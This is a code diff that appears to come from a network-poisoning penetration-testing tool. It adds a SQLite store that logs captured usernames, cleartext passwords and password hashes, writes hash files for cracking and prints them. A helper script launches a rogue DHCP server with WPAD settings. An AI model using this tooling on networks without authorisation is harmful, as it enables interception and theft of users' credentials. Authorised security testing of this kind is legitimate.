if self.HtmlToInject == None:
@ -196,5 +200,5 @@ class Settings:
self.AnalyzeLogger.addHandler(ALog_Handler)
def init():
global Config, Threads
global Config
Config = Settings()

View file

@ -333,7 +333,9 @@ if __name__ == "__main__":
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
print text("[DHCP] %s" % ParseDHCPCode(data[0][42:]))
ret = ParseDHCPCode(data[0][42:])
if ret:
print text("[DHCP] %s" % ret)
except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))

View file

@ -57,4 +57,6 @@ echo "DNS2 IP: $DNS2"
echo "WPAD: $WPADSTR"
echo ""
echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"

View file

@ -19,8 +19,15 @@ import sys
import re
import logging
import socket
import time
import settings
try:
import sqlite3
except:
print "[!] Please install python-sqlite3 extension."
sys.exit(0)
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
@ -115,6 +122,66 @@ def WriteData(outfile, data, user):
outf2.write("\n")
outf2.close()
# Return true if the data is to be printed, else false
def SaveToDb(result):
# Creating the DB if it doesn't exist
if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
cursor.commit()
cursor.close()
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
if len(result['user']) < 2:
return
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
timestamp = time.strftime("%d-%m-%Y %H:%M:%S")
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
cursor = sqlite3.connect(settings.Config.DatabaseFile)
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
(count,) = res.fetchone()
if count == 0:
# Write JtR-style hash string to file
with open(logfile,"a") as outf:
outf.write(result['fullhash'])
outf.write("\n")
outf.close()
# Update database
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit()
cursor.close()
# Print output
if count == 0 or settings.Config.Verbose:
if len(result['client']):
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
if len(result['hostname']):
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
if len(result['user']):
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
if len(result['cleartext']):
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
if len(result['hash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))
else:
print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user']
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c":